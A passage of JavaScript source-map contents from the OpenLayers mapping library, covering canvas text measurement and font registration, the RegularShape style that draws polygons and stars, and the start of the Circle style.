sourceMappingURL=colorlike.js.map","/**\n * @module ol/render/canvas\n */\nimport BaseObject from '../Object.js';\nimport EventTarget from '../events/Target.js';\nimport { WORKER_OFFSCREEN_CANVAS } from '../has.js';\nimport { clear } from '../obj.js';\nimport { createCanvasContext2D } from '../dom.js';\nimport { getFontParameters } from '../css.js';\n/**\n * @typedef {'Circle' | 'Image' | 'LineString' | 'Polygon' | 'Text' | 'Default'} BuilderType\n */\n/**\n * @typedef {Object} FillState\n * @property {import(\"../colorlike.js\").ColorLike} fillStyle FillStyle.\n */\n/**\n * @typedef Label\n * @property {number} width Width.\n * @property {number} height Height.\n * @property {Array<string|number>} contextInstructions ContextInstructions.\n */\n/**\n * @typedef {Object} FillStrokeState\n * @property {import(\"../colorlike.js\").ColorLike} [currentFillStyle] Current FillStyle.\n * @property {import(\"../colorlike.js\").ColorLike} [currentStrokeStyle] Current StrokeStyle.\n * @property {CanvasLineCap} [currentLineCap] Current LineCap.\n * @property {Array<number>} currentLineDash Current LineDash.\n * @property {number} [currentLineDashOffset] Current LineDashOffset.\n * @property {CanvasLineJoin} [currentLineJoin] Current LineJoin.\n * @property {number} [currentLineWidth] Current LineWidth.\n * @property {number} [currentMiterLimit] Current MiterLimit.\n * @property {number} [lastStroke] Last stroke.\n * @property {import(\"../colorlike.js\").ColorLike} [fillStyle] FillStyle.\n * @property {import(\"../colorlike.js\").ColorLike} [strokeStyle] StrokeStyle.\n * @property {CanvasLineCap} [lineCap] LineCap.\n * @property {Array<number>} lineDash LineDash.\n * @property {number} [lineDashOffset] LineDashOffset.\n * @property {CanvasLineJoin} [lineJoin] LineJoin.\n * @property {number} [lineWidth] LineWidth.\n * @property {number} [miterLimit] MiterLimit.\n */\n/**\n * @typedef {Object} StrokeState\n * @property {CanvasLineCap} lineCap LineCap.\n * @property {Array<number>} lineDash LineDash.\n * @property {number} lineDashOffset LineDashOffset.\n * @property {CanvasLineJoin} lineJoin LineJoin.\n * @property {number} lineWidth LineWidth.\n * @property {number} miterLimit MiterLimit.\n * @property {import(\"../colorlike.js\").ColorLike} strokeStyle StrokeStyle.\n */\n/**\n * @typedef {Object} TextState\n * @property {string} font Font.\n * @property {string} [textAlign] TextAlign.\n * @property {string} [justify] Justify.\n * @property {string} textBaseline TextBaseline.\n * @property {string} [placement] Placement.\n * @property {number} [maxAngle] MaxAngle.\n * @property {boolean} [overflow] Overflow.\n * @property {import(\"../style/Fill.js\").default} [backgroundFill] BackgroundFill.\n * @property {import(\"../style/Stroke.js\").default} [backgroundStroke] BackgroundStroke.\n * @property {import(\"../size.js\").Size} [scale] Scale.\n * @property {Array<number>} [padding] Padding.\n */\n/**\n * @typedef {Object} SerializableInstructions\n * @property {Array<*>} instructions The rendering instructions.\n * @property {Array<*>} hitDetectionInstructions The rendering hit detection instructions.\n * @property {Array<number>} coordinates The array of all coordinates.\n * @property {!Object<string, TextState>} [textStates] The text states (decluttering).\n * @property {!Object<string, FillState>} [fillStates] The fill states (decluttering).\n * @property {!Object<string, StrokeState>} [strokeStates] The stroke states (decluttering).\n */\n/**\n * @typedef {Object<number, import(\"./canvas/Executor.js\").ReplayImageOrLabelArgs>} DeclutterImageWithText\n */\n/**\n * @const\n * @type {string}\n */\nexport var defaultFont = '10px sans-serif';\n/**\n * @const\n * @type {import(\"../colorlike.js\").ColorLike}\n */\nexport var defaultFillStyle = '#000';\n/**\n * @const\n * @type {CanvasLineCap}\n */\nexport var defaultLineCap = 'round';\n/**\n * @const\n * @type {Array<number>}\n */\nexport var defaultLineDash = [];\n/**\n * @const\n * @type {number}\n */\nexport var defaultLineDashOffset = 0;\n/**\n * @const\n * @type {CanvasLineJoin}\n */\nexport var defaultLineJoin = 'round';\n/**\n * @const\n * @type {number}\n */\nexport var defaultMiterLimit = 10;\n/**\n * @const\n * @type {import(\"../colorlike.js\").ColorLike}\n */\nexport var defaultStrokeStyle = '#000';\n/**\n * @const\n * @type {string}\n */\nexport var defaultTextAlign = 'center';\n/**\n * @const\n * @type {string}\n */\nexport var defaultTextBaseline = 'middle';\n/**\n * @const\n * @type {Array<number>}\n */\nexport var defaultPadding = [0, 0, 0, 0];\n/**\n * @const\n * @type {number}\n */\nexport var defaultLineWidth = 1;\n/**\n * @type {BaseObject}\n */\nexport var checkedFonts = new BaseObject();\n/**\n * The label cache for text rendering. To change the default cache size of 2048\n * entries, use {@link module:ol/structs/LRUCache~LRUCache#setSize cache.setSize()}.\n * Deprecated - there is no label cache any more.\n * @type {?}\n * @api\n * @deprecated\n */\nexport var labelCache = new EventTarget();\nlabelCache.setSize = function () {\n console.warn('labelCache is deprecated.'); //eslint-disable-line\n};\n/**\n * @type {CanvasRenderingContext2D}\n */\nvar measureContext = null;\n/**\n * @type {string}\n */\nvar measureFont;\n/**\n * @type {!Object<string, number>}\n */\nexport var textHeights = {};\n/**\n * Clears the label cache when a font becomes available.\n * @param {string} fontSpec CSS font spec.\n */\nexport var registerFont = (function () {\n var retries = 100;\n var size = '32px ';\n var referenceFonts = ['monospace', 'serif'];\n var len = referenceFonts.length;\n var text = 'wmytzilWMYTZIL@#/&?$%10\\uF013';\n var interval, referenceWidth;\n /**\n * @param {string} fontStyle Css font-style\n * @param {string} fontWeight Css font-weight\n * @param {*} fontFamily Css font-family\n * @return {boolean} Font with style and weight is available\n */\n function isAvailable(fontStyle, fontWeight, fontFamily) {\n var available = true;\n for (var i = 0; i < len; ++i) {\n var referenceFont = referenceFonts[i];\n referenceWidth = measureTextWidth(fontStyle + ' ' + fontWeight + ' ' + size + referenceFont, text);\n if (fontFamily != referenceFont) {\n var width = measureTextWidth(fontStyle +\n ' ' +\n fontWeight +\n ' ' +\n size +\n fontFamily +\n ',' +\n referenceFont, text);\n // If width and referenceWidth are the same, then the fallback was used\n // instead of the font we wanted, so the font is not available.\n available = available && width != referenceWidth;\n }\n }\n if (available) {\n return true;\n }\n return false;\n }\n function check() {\n var done = true;\n var fonts = checkedFonts.getKeys();\n for (var i = 0, ii = fonts.length; i < ii; ++i) {\n var font = fonts[i];\n if (checkedFonts.get(font) < retries) {\n if (isAvailable.apply(this, font.split('\\n'))) {\n clear(textHeights);\n // Make sure that loaded fonts are picked up by Safari\n measureContext = null;\n measureFont = undefined;\n checkedFonts.set(font, retries);\n }\n else {\n checkedFonts.set(font, checkedFonts.get(font) + 1, true);\n done = false;\n }\n }\n }\n if (done) {\n clearInterval(interval);\n interval = undefined;\n }\n }\n return function (fontSpec) {\n var font = getFontParameters(fontSpec);\n if (!font) {\n return;\n }\n var families = font.families;\n for (var i = 0, ii = families.length; i < ii; ++i) {\n var family = families[i];\n var key = font.style + '\\n' + font.weight + '\\n' + family;\n if (checkedFonts.get(key) === undefined) {\n checkedFonts.set(key, retries, true);\n if (!isAvailable(font.style, font.weight, family)) {\n checkedFonts.set(key, 0, true);\n if (interval === undefined) {\n interval = setInterval(check, 32);\n }\n }\n }\n }\n };\n})();\n/**\n * @param {string} font Font to use for measuring.\n * @return {import(\"../size.js\").Size} Measurement.\n */\nexport var measureTextHeight = (function () {\n /**\n * @type {HTMLDivElement}\n */\n var measureElement;\n return function (fontSpec) {\n var height = textHeights[fontSpec];\n if (height == undefined) {\n if (WORKER_OFFSCREEN_CANVAS) {\n var font = getFontParameters(fontSpec);\n var metrics = measureText(fontSpec, 'Žg');\n var lineHeight = isNaN(Number(font.lineHeight))\n ? 1.2\n : Number(font.lineHeight);\n height =\n lineHeight *\n (metrics.actualBoundingBoxAscent + metrics.actualBoundingBoxDescent);\n }\n else {\n if (!measureElement) {\n measureElement = document.createElement('div');\n measureElement.innerHTML = 'M';\n measureElement.style.minHeight = '0';\n measureElement.style.maxHeight = 'none';\n measureElement.style.height = 'auto';\n measureElement.style.padding = '0';\n measureElement.style.border = 'none';\n measureElement.style.position = 'absolute';\n measureElement.style.display = 'block';\n measureElement.style.left = '-99999px';\n }\n measureElement.style.font = fontSpec;\n document.body.appendChild(measureElement);\n height = measureElement.offsetHeight;\n document.body.removeChild(measureElement);\n }\n textHeights[fontSpec] = height;\n }\n return height;\n };\n})();\n/**\n * @param {string} font Font.\n * @param {string} text Text.\n * @return {TextMetrics} Text metrics.\n */\nfunction measureText(font, text) {\n if (!measureContext) {\n measureContext = createCanvasContext2D(1, 1);\n }\n if (font != measureFont) {\n measureContext.font = font;\n measureFont = measureContext.font;\n }\n return measureContext.measureText(text);\n}\n/**\n * @param {string} font Font.\n * @param {string} text Text.\n * @return {number} Width.\n */\nexport function measureTextWidth(font, text) {\n return measureText(font, text).width;\n}\n/**\n * Measure text width using a cache.\n * @param {string} font The font.\n * @param {string} text The text to measure.\n * @param {Object<string, number>} cache A lookup of cached widths by text.\n * @return {number} The text width.\n */\nexport function measureAndCacheTextWidth(font, text, cache) {\n if (text in cache) {\n return cache[text];\n }\n var width = text\n .split('\\n')\n .reduce(function (prev, curr) { return Math.max(prev, measureTextWidth(font, curr)); }, 0);\n cache[text] = width;\n return width;\n}\n/**\n * @param {TextState} baseStyle Base style.\n * @param {Array<string>} chunks Text chunks to measure.\n * @return {{width: number, height: number, widths: Array<number>, heights: Array<number>, lineWidths: Array<number>}}} Text metrics.\n */\nexport function getTextDimensions(baseStyle, chunks) {\n var widths = [];\n var heights = [];\n var lineWidths = [];\n var width = 0;\n var lineWidth = 0;\n var height = 0;\n var lineHeight = 0;\n for (var i = 0, ii = chunks.length; i <= ii; i += 2) {\n var text = chunks[i];\n if (text === '\\n' || i === ii) {\n width = Math.max(width, lineWidth);\n lineWidths.push(lineWidth);\n lineWidth = 0;\n height += lineHeight;\n continue;\n }\n var font = chunks[i + 1] || baseStyle.font;\n var currentWidth = measureTextWidth(font, text);\n widths.push(currentWidth);\n lineWidth += currentWidth;\n var currentHeight = measureTextHeight(font);\n heights.push(currentHeight);\n lineHeight = Math.max(lineHeight, currentHeight);\n }\n return { width: width, height: height, widths: widths, heights: heights, lineWidths: lineWidths };\n}\n/**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {number} rotation Rotation.\n * @param {number} offsetX X offset.\n * @param {number} offsetY Y offset.\n */\nexport function rotateAtOffset(context, rotation, offsetX, offsetY) {\n if (rotation !== 0) {\n context.translate(offsetX, offsetY);\n context.rotate(rotation);\n context.translate(-offsetX, -offsetY);\n }\n}\n/**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {import(\"../transform.js\").Transform|null} transform Transform.\n * @param {number} opacity Opacity.\n * @param {Label|HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} labelOrImage Label.\n * @param {number} originX Origin X.\n * @param {number} originY Origin Y.\n * @param {number} w Width.\n * @param {number} h Height.\n * @param {number} x X.\n * @param {number} y Y.\n * @param {import(\"../size.js\").Size} scale Scale.\n */\nexport function drawImageOrLabel(context, transform, opacity, labelOrImage, originX, originY, w, h, x, y, scale) {\n context.save();\n if (opacity !== 1) {\n context.globalAlpha *= opacity;\n }\n if (transform) {\n context.setTransform.apply(context, transform);\n }\n if ( /** @type {*} */(labelOrImage).contextInstructions) {\n // label\n context.translate(x, y);\n context.scale(scale[0], scale[1]);\n executeLabelInstructions(/** @type {Label} */ (labelOrImage), context);\n }\n else if (scale[0] < 0 || scale[1] < 0) {\n // flipped image\n context.translate(x, y);\n context.scale(scale[0], scale[1]);\n context.drawImage(\n /** @type {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} */ (labelOrImage), originX, originY, w, h, 0, 0, w, h);\n }\n else {\n // if image not flipped translate and scale can be avoided\n context.drawImage(\n /** @type {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} */ (labelOrImage), originX, originY, w, h, x, y, w * scale[0], h * scale[1]);\n }\n context.restore();\n}\n/**\n * @param {Label} label Label.\n * @param {CanvasRenderingContext2D} context Context.\n */\nfunction executeLabelInstructions(label, context) {\n var contextInstructions = label.contextInstructions;\n for (var i = 0, ii = contextInstructions.length; i < ii; i += 2) {\n if (Array.isArray(contextInstructions[i + 1])) {\n context[contextInstructions[i]].apply(context, contextInstructions[i + 1]);\n }\n else {\n context[contextInstructions[i]] = contextInstructions[i + 1];\n }\n }\n}\n//# sourceMappingURL=canvas.js.map","/**\n * @module ol/style/RegularShape\n */\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport ImageState from '../ImageState.js';\nimport ImageStyle from './Image.js';\nimport { asArray } from '../color.js';\nimport { asColorLike } from '../colorlike.js';\nimport { createCanvasContext2D } from '../dom.js';\nimport { defaultFillStyle, defaultLineJoin, defaultLineWidth, defaultMiterLimit, defaultStrokeStyle, } from '../render/canvas.js';\n/**\n * Specify radius for regular polygons, or radius1 and radius2 for stars.\n * @typedef {Object} Options\n * @property {import(\"./Fill.js\").default} [fill] Fill style.\n * @property {number} points Number of points for stars and regular polygons. In case of a polygon, the number of points\n * is the number of sides.\n * @property {number} [radius] Radius of a regular polygon.\n * @property {number} [radius1] First radius of a star. Ignored if radius is set.\n * @property {number} [radius2] Second radius of a star.\n * @property {number} [angle=0] Shape's angle in radians. A value of 0 will have one of the shape's point facing up.\n * @property {Array<number>} [displacement=[0,0]] Displacement of the shape\n * @property {import(\"./Stroke.js\").default} [stroke] Stroke style.\n * @property {number} [rotation=0] Rotation in radians (positive rotation clockwise).\n * @property {boolean} [rotateWithView=false] Whether to rotate the shape with the view.\n * @property {number|import(\"../size.js\").Size} [scale=1] Scale. Unless two dimensional scaling is required a better\n * result may be obtained with appropriate settings for `radius`, `radius1` and `radius2`.\n * @property {\"declutter\"|\"obstacle\"|\"none\"|undefined} [declutterMode] Declutter mode\n */\n/**\n * @typedef {Object} RenderOptions\n * @property {import(\"../colorlike.js\").ColorLike} [strokeStyle] StrokeStyle.\n * @property {number} strokeWidth StrokeWidth.\n * @property {number} size Size.\n * @property {Array<number>} lineDash LineDash.\n * @property {number} lineDashOffset LineDashOffset.\n * @property {CanvasLineJoin} lineJoin LineJoin.\n * @property {number} miterLimit MiterLimit.\n */\n/**\n * @classdesc\n * Set regular shape style for vector features. The resulting shape will be\n * a regular polygon when `radius` is provided, or a star when `radius1` and\n * `radius2` are provided.\n * @api\n */\nvar RegularShape = /** @class */ (function (_super) {\n __extends(RegularShape, _super);\n /**\n * @param {Options} options Options.\n */\n function RegularShape(options) {\n var _this = this;\n /**\n * @type {boolean}\n */\n var rotateWithView = options.rotateWithView !== undefined ? options.rotateWithView : false;\n _this = _super.call(this, {\n opacity: 1,\n rotateWithView: rotateWithView,\n rotation: options.rotation !== undefined ? options.rotation : 0,\n scale: options.scale !== undefined ? options.scale : 1,\n displacement: options.displacement !== undefined ? options.displacement : [0, 0],\n declutterMode: options.declutterMode,\n }) || this;\n /**\n * @private\n * @type {Object<number, HTMLCanvasElement>}\n */\n _this.canvas_ = undefined;\n /**\n * @private\n * @type {HTMLCanvasElement}\n */\n _this.hitDetectionCanvas_ = null;\n /**\n * @private\n * @type {import(\"./Fill.js\").default}\n */\n _this.fill_ = options.fill !== undefined ? options.fill : null;\n /**\n * @private\n * @type {Array<number>}\n */\n _this.origin_ = [0, 0];\n /**\n * @private\n * @type {number}\n */\n _this.points_ = options.points;\n /**\n * @protected\n * @type {number}\n */\n _this.radius_ =\n options.radius !== undefined ? options.radius : options.radius1;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.radius2_ = options.radius2;\n /**\n * @private\n * @type {number}\n */\n _this.angle_ = options.angle !== undefined ? options.angle : 0;\n /**\n * @private\n * @type {import(\"./Stroke.js\").default}\n */\n _this.stroke_ = options.stroke !== undefined ? options.stroke : null;\n /**\n * @private\n * @type {import(\"../size.js\").Size}\n */\n _this.size_ = null;\n /**\n * @private\n * @type {RenderOptions}\n */\n _this.renderOptions_ = null;\n _this.render();\n return _this;\n }\n /**\n * Clones the style.\n * @return {RegularShape} The cloned style.\n * @api\n */\n RegularShape.prototype.clone = function () {\n var scale = this.getScale();\n var style = new RegularShape({\n fill: this.getFill() ? this.getFill().clone() : undefined,\n points: this.getPoints(),\n radius: this.getRadius(),\n radius2: this.getRadius2(),\n angle: this.getAngle(),\n stroke: this.getStroke() ? this.getStroke().clone() : undefined,\n rotation: this.getRotation(),\n rotateWithView: this.getRotateWithView(),\n scale: Array.isArray(scale) ? scale.slice() : scale,\n displacement: this.getDisplacement().slice(),\n declutterMode: this.getDeclutterMode(),\n });\n style.setOpacity(this.getOpacity());\n return style;\n };\n /**\n * Get the anchor point in pixels. The anchor determines the center point for the\n * symbolizer.\n * @return {Array<number>} Anchor.\n * @api\n */\n RegularShape.prototype.getAnchor = function () {\n var size = this.size_;\n if (!size) {\n return null;\n }\n var displacement = this.getDisplacement();\n return [size[0] / 2 - displacement[0], size[1] / 2 + displacement[1]];\n };\n /**\n * Get the angle used in generating the shape.\n * @return {number} Shape's rotation in radians.\n * @api\n */\n RegularShape.prototype.getAngle = function () {\n return this.angle_;\n };\n /**\n * Get the fill style for the shape.\n * @return {import(\"./Fill.js\").default} Fill style.\n * @api\n */\n RegularShape.prototype.getFill = function () {\n return this.fill_;\n };\n /**\n * Set the fill style.\n * @param {import(\"./Fill.js\").default} fill Fill style.\n * @api\n */\n RegularShape.prototype.setFill = function (fill) {\n this.fill_ = fill;\n this.render();\n };\n /**\n * @return {HTMLCanvasElement} Image element.\n */\n RegularShape.prototype.getHitDetectionImage = function () {\n if (!this.hitDetectionCanvas_) {\n this.createHitDetectionCanvas_(this.renderOptions_);\n }\n return this.hitDetectionCanvas_;\n };\n /**\n * Get the image icon.\n * @param {number} pixelRatio Pixel ratio.\n * @return {HTMLCanvasElement} Image or Canvas element.\n * @api\n */\n RegularShape.prototype.getImage = function (pixelRatio) {\n var image = this.canvas_[pixelRatio];\n if (!image) {\n var renderOptions = this.renderOptions_;\n var context = createCanvasContext2D(renderOptions.size * pixelRatio, renderOptions.size * pixelRatio);\n this.draw_(renderOptions, context, pixelRatio);\n image = context.canvas;\n this.canvas_[pixelRatio] = image;\n }\n return image;\n };\n /**\n * Get the image pixel ratio.\n * @param {number} pixelRatio Pixel ratio.\n * @return {number} Pixel ratio.\n */\n RegularShape.prototype.getPixelRatio = function (pixelRatio) {\n return pixelRatio;\n };\n /**\n * @return {import(\"../size.js\").Size} Image size.\n */\n RegularShape.prototype.getImageSize = function () {\n return this.size_;\n };\n /**\n * @return {import(\"../ImageState.js\").default} Image state.\n */\n RegularShape.prototype.getImageState = function () {\n return ImageState.LOADED;\n };\n /**\n * Get the origin of the symbolizer.\n * @return {Array<number>} Origin.\n * @api\n */\n RegularShape.prototype.getOrigin = function () {\n return this.origin_;\n };\n /**\n * Get the number of points for generating the shape.\n * @return {number} Number of points for stars and regular polygons.\n * @api\n */\n RegularShape.prototype.getPoints = function () {\n return this.points_;\n };\n /**\n * Get the (primary) radius for the shape.\n * @return {number} Radius.\n * @api\n */\n RegularShape.prototype.getRadius = function () {\n return this.radius_;\n };\n /**\n * Get the secondary radius for the shape.\n * @return {number|undefined} Radius2.\n * @api\n */\n RegularShape.prototype.getRadius2 = function () {\n return this.radius2_;\n };\n /**\n * Get the size of the symbolizer (in pixels).\n * @return {import(\"../size.js\").Size} Size.\n * @api\n */\n RegularShape.prototype.getSize = function () {\n return this.size_;\n };\n /**\n * Get the stroke style for the shape.\n * @return {import(\"./Stroke.js\").default} Stroke style.\n * @api\n */\n RegularShape.prototype.getStroke = function () {\n return this.stroke_;\n };\n /**\n * Set the stroke style.\n * @param {import(\"./Stroke.js\").default} stroke Stroke style.\n * @api\n */\n RegularShape.prototype.setStroke = function (stroke) {\n this.stroke_ = stroke;\n this.render();\n };\n /**\n * @param {function(import(\"../events/Event.js\").default): void} listener Listener function.\n */\n RegularShape.prototype.listenImageChange = function (listener) { };\n /**\n * Load not yet loaded URI.\n */\n RegularShape.prototype.load = function () { };\n /**\n * @param {function(import(\"../events/Event.js\").default): void} listener Listener function.\n */\n RegularShape.prototype.unlistenImageChange = function (listener) { };\n /**\n * Calculate additional canvas size needed for the miter.\n * @param {string} lineJoin Line join\n * @param {number} strokeWidth Stroke width\n * @param {number} miterLimit Miter limit\n * @return {number} Additional canvas size needed\n * @private\n */\n RegularShape.prototype.calculateLineJoinSize_ = function (lineJoin, strokeWidth, miterLimit) {\n if (strokeWidth === 0 ||\n this.points_ === Infinity ||\n (lineJoin !== 'bevel' && lineJoin !== 'miter')) {\n return strokeWidth;\n }\n // m | ^\n // i | |\\ .\n // t >| #\\\n // e | |\\ \\ .\n // r \\s\\\n // | \\t\\ . .\n // \\r\\ . .\n // | \\o\\ . . . . .\n // e \\k\\ . . . .\n // | \\e\\ . . . . .\n // d \\ \\ . . . .\n // | _ _a_ _\\# . . .\n // r1 / ` . .\n // | . .\n // b / . .\n // | . .\n // / r2 . .\n // | . .\n // / . .\n // |α . .\n // / . .\n // ° center\n var r1 = this.radius_;\n var r2 = this.radius2_ === undefined ? r1 : this.radius2_;\n if (r1 < r2) {\n var tmp = r1;\n r1 = r2;\n r2 = tmp;\n }\n var points = this.radius2_ === undefined ? this.points_ : this.points_ * 2;\n var alpha = (2 * Math.PI) / points;\n var a = r2 * Math.sin(alpha);\n var b = Math.sqrt(r2 * r2 - a * a);\n var d = r1 - b;\n var e = Math.sqrt(a * a + d * d);\n var miterRatio = e / a;\n if (lineJoin === 'miter' && miterRatio <= miterLimit) {\n return miterRatio * strokeWidth;\n }\n // Calculate the distnce from center to the stroke corner where\n // it was cut short because of the miter limit.\n // l\n // ----+---- <= distance from center to here is maxr\n // /####|k ##\\\n // /#####^#####\\\n // /#### /+\\# s #\\\n // /### h/+++\\# t #\\\n // /### t/+++++\\# r #\\\n // /### a/+++++++\\# o #\\\n // /### p/++ fill +\\# k #\\\n ///#### /+++++^+++++\\# e #\\\n //#####/+++++/+\\+++++\\#####\\\n var k = strokeWidth / 2 / miterRatio;\n var l = (strokeWidth / 2) * (d / e);\n var maxr = Math.sqrt((r1 + k) * (r1 + k) + l * l);\n var bevelAdd = maxr - r1;\n if (this.radius2_ === undefined || lineJoin === 'bevel') {\n return bevelAdd * 2;\n }\n // If outer miter is over the miter limit the inner miter may reach through the\n // center and be longer than the bevel, same calculation as above but swap r1 / r2.\n var aa = r1 * Math.sin(alpha);\n var bb = Math.sqrt(r1 * r1 - aa * aa);\n var dd = r2 - bb;\n var ee = Math.sqrt(aa * aa + dd * dd);\n var innerMiterRatio = ee / aa;\n if (innerMiterRatio <= miterLimit) {\n var innerLength = (innerMiterRatio * strokeWidth) / 2 - r2 - r1;\n return 2 * Math.max(bevelAdd, innerLength);\n }\n return bevelAdd * 2;\n };\n /**\n * @return {RenderOptions} The render options\n * @protected\n */\n RegularShape.prototype.createRenderOptions = function () {\n var lineJoin = defaultLineJoin;\n var miterLimit = 0;\n var lineDash = null;\n var lineDashOffset = 0;\n var strokeStyle;\n var strokeWidth = 0;\n if (this.stroke_) {\n strokeStyle = this.stroke_.getColor();\n if (strokeStyle === null) {\n strokeStyle = defaultStrokeStyle;\n }\n strokeStyle = asColorLike(strokeStyle);\n strokeWidth = this.stroke_.getWidth();\n if (strokeWidth === undefined) {\n strokeWidth = defaultLineWidth;\n }\n lineDash = this.stroke_.getLineDash();\n lineDashOffset = this.stroke_.getLineDashOffset();\n lineJoin = this.stroke_.getLineJoin();\n if (lineJoin === undefined) {\n lineJoin = defaultLineJoin;\n }\n miterLimit = this.stroke_.getMiterLimit();\n if (miterLimit === undefined) {\n miterLimit = defaultMiterLimit;\n }\n }\n var add = this.calculateLineJoinSize_(lineJoin, strokeWidth, miterLimit);\n var maxRadius = Math.max(this.radius_, this.radius2_ || 0);\n var size = Math.ceil(2 * maxRadius + add);\n return {\n strokeStyle: strokeStyle,\n strokeWidth: strokeWidth,\n size: size,\n lineDash: lineDash,\n lineDashOffset: lineDashOffset,\n lineJoin: lineJoin,\n miterLimit: miterLimit,\n };\n };\n /**\n * @protected\n */\n RegularShape.prototype.render = function () {\n this.renderOptions_ = this.createRenderOptions();\n var size = this.renderOptions_.size;\n this.canvas_ = {};\n this.size_ = [size, size];\n };\n /**\n * @private\n * @param {RenderOptions} renderOptions Render options.\n * @param {CanvasRenderingContext2D} context The rendering context.\n * @param {number} pixelRatio The pixel ratio.\n */\n RegularShape.prototype.draw_ = function (renderOptions, context, pixelRatio) {\n context.scale(pixelRatio, pixelRatio);\n // set origin to canvas center\n context.translate(renderOptions.size / 2, renderOptions.size / 2);\n this.createPath_(context);\n if (this.fill_) {\n var color = this.fill_.getColor();\n if (color === null) {\n color = defaultFillStyle;\n }\n context.fillStyle = asColorLike(color);\n context.fill();\n }\n if (this.stroke_) {\n context.strokeStyle = renderOptions.strokeStyle;\n context.lineWidth = renderOptions.strokeWidth;\n if (context.setLineDash && renderOptions.lineDash) {\n context.setLineDash(renderOptions.lineDash);\n context.lineDashOffset = renderOptions.lineDashOffset;\n }\n context.lineJoin = renderOptions.lineJoin;\n context.miterLimit = renderOptions.miterLimit;\n context.stroke();\n }\n };\n /**\n * @private\n * @param {RenderOptions} renderOptions Render options.\n */\n RegularShape.prototype.createHitDetectionCanvas_ = function (renderOptions) {\n if (this.fill_) {\n var color = this.fill_.getColor();\n // determine if fill is transparent (or pattern or gradient)\n var opacity = 0;\n if (typeof color === 'string') {\n color = asArray(color);\n }\n if (color === null) {\n opacity = 1;\n }\n else if (Array.isArray(color)) {\n opacity = color.length === 4 ? color[3] : 1;\n }\n if (opacity === 0) {\n // if a transparent fill style is set, create an extra hit-detection image\n // with a default fill style\n var context = createCanvasContext2D(renderOptions.size, renderOptions.size);\n this.hitDetectionCanvas_ = context.canvas;\n this.drawHitDetectionCanvas_(renderOptions, context);\n }\n }\n if (!this.hitDetectionCanvas_) {\n this.hitDetectionCanvas_ = this.getImage(1);\n }\n };\n /**\n * @private\n * @param {CanvasRenderingContext2D} context The context to draw in.\n */\n RegularShape.prototype.createPath_ = function (context) {\n var points = this.points_;\n var radius = this.radius_;\n if (points === Infinity) {\n context.arc(0, 0, radius, 0, 2 * Math.PI);\n }\n else {\n var radius2 = this.radius2_ === undefined ? radius : this.radius2_;\n if (this.radius2_ !== undefined) {\n points *= 2;\n }\n var startAngle = this.angle_ - Math.PI / 2;\n var step = (2 * Math.PI) / points;\n for (var i = 0; i < points; i++) {\n var angle0 = startAngle + i * step;\n var radiusC = i % 2 === 0 ? radius : radius2;\n context.lineTo(radiusC * Math.cos(angle0), radiusC * Math.sin(angle0));\n }\n context.closePath();\n }\n };\n /**\n * @private\n * @param {RenderOptions} renderOptions Render options.\n * @param {CanvasRenderingContext2D} context The context.\n */\n RegularShape.prototype.drawHitDetectionCanvas_ = function (renderOptions, context) {\n // set origin to canvas center\n context.translate(renderOptions.size / 2, renderOptions.size / 2);\n this.createPath_(context);\n context.fillStyle = defaultFillStyle;\n context.fill();\n if (this.stroke_) {\n context.strokeStyle = renderOptions.strokeStyle;\n context.lineWidth = renderOptions.strokeWidth;\n if (renderOptions.lineDash) {\n context.setLineDash(renderOptions.lineDash);\n context.lineDashOffset = renderOptions.lineDashOffset;\n }\n context.lineJoin = renderOptions.lineJoin;\n context.miterLimit = renderOptions.miterLimit;\n context.stroke();\n }\n };\n return RegularShape;\n}(ImageStyle));\nexport default RegularShape;\n//# sourceMappingURL=RegularShape.js.map","/**\n * @module ol/style/Circle\n */\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport RegularShape from './RegularShape.js';\n/**\n * @typedef {Object} Options\n * @property {import(\"./Fill.js\").default} [fill] Fill style.\n * @property {number} radius Circle radius.\n * @property {import(\"./Stroke.js\").default} [stroke] Stroke style.\n * @property {Array<number>} [displacement=[0,0]] displacement\n * @property {number|import(\"../size.js\").Size} [scale=1] Scale. A two dimensional scale will produce an ellipse.\n * Unless two dimensional scaling is required a better result may be obtained with an appropriate setting for `radius`.\n * @property {number} [rotation=0] Rotation in radians\n * (positive rotation clockwise, meaningful only when used in conjunction with a two dimensional scale).\n * @property {boolean} [rotateWithView=false] Whether to rotate the shape with the view\n * (meaningful only when used in conjunction with a two dimensional scale).\n * @property {\"declutter\"|\"obstacle\"|\"none\"|undefined} [declutterMode] Declutter mode\n */\n/**\n * @classdesc\n * Set circle style for vector features.\n * @api\n */\nvar CircleStyle = /** @class */ (function (_super) {\n __extends(CircleStyle, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function CircleStyle(opt_options) {\n var options = opt_options ? opt_options : {};\n return _super.call(this, {\n points: Infinity,\n fill: options.fill,\n radius: options.radius,\n stroke: options.stroke,\n scale: options.scale !== undefined ? options.scale : 1,\n rotation: options.rotation !== undefined ? options.rotation : 0,\n rotateWithView: options.rotateWithView !== undefined ? options.rotateWithView : false,\n displacement: options.displacement !== undefined ? options.displacement : [0, 0],\n declutterMode: options.declutterMode,\n }) || 